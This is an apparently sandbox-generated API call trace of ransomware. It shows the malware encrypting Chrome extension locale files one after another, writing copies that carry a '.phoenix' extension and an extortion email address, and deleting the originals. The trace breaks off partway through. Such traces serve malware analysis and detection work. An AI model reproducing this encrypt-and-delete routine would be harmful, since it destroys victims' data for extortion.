	[0260.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.116] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.116] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.116] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.117] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0260.117] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.117] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.118] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.118] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.119] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0260.119] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.119] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.119] CryptDestroyKey (hKey=0x151540) returned 1
	[0260.119] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.119] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.119] CloseHandle (hObject=0x240) returned 1
	[0260.119] CloseHandle (hObject=0x250) returned 1
	[0260.119] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fi\\messages.json")) returned 1
	[0260.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.120] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.121] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.121] CloseHandle (hObject=0x250) returned 1
	[0260.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json")) returned 0x20
	[0260.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.123] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.123] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.123] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.123] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0260.124] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.124] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.125] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.125] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.126] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0260.126] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.126] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.126] CryptDestroyKey (hKey=0x151740) returned 1
	[0260.126] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.126] CryptDestroyKey (hKey=0x151480) returned 1
	[0260.126] CloseHandle (hObject=0x250) returned 1
	[0260.126] CloseHandle (hObject=0x240) returned 1
	[0260.126] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fil\\messages.json")) returned 1
	[0260.127] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.127] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.127] CloseHandle (hObject=0x240) returned 1
	[0260.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json")) returned 0x20
	[0260.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.128] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.128] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.128] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.129] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0260.129] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.129] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.130] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.130] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.131] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0260.131] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.131] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.131] CryptDestroyKey (hKey=0x151100) returned 1
	[0260.131] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.131] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0260.131] CloseHandle (hObject=0x240) returned 1
	[0260.131] CloseHandle (hObject=0x250) returned 1
	[0260.131] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\fr\\messages.json")) returned 1
	[0260.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.133] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.133] CloseHandle (hObject=0x250) returned 1
	[0260.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json")) returned 0x20
	[0260.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.133] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.133] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.134] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0260.134] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.134] ReadFile (in: hFile=0x250, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.135] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.135] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
	[0260.136] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1515c0) returned 1
	[0260.136] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.136] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0260.136] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0260.136] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0260.136] CryptDestroyKey (hKey=0x151340) returned 1
	[0260.136] CloseHandle (hObject=0x250) returned 1
	[0260.136] CloseHandle (hObject=0x240) returned 1
	[0260.136] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\he\\messages.json")) returned 1
	[0260.137] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0260.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.137] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=179) returned 1
	[0260.137] CloseHandle (hObject=0x240) returned 1
	[0260.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json")) returned 0x20
	[0260.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0260.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0260.138] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.138] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0260.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0260.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0260.138] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0260.138] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb3, lpOverlapped=0x0) returned 1
	[0260.218] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0260.218] WriteFile (in: hFile=0x250, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc0, lpOverlapped=0x0) returned 1
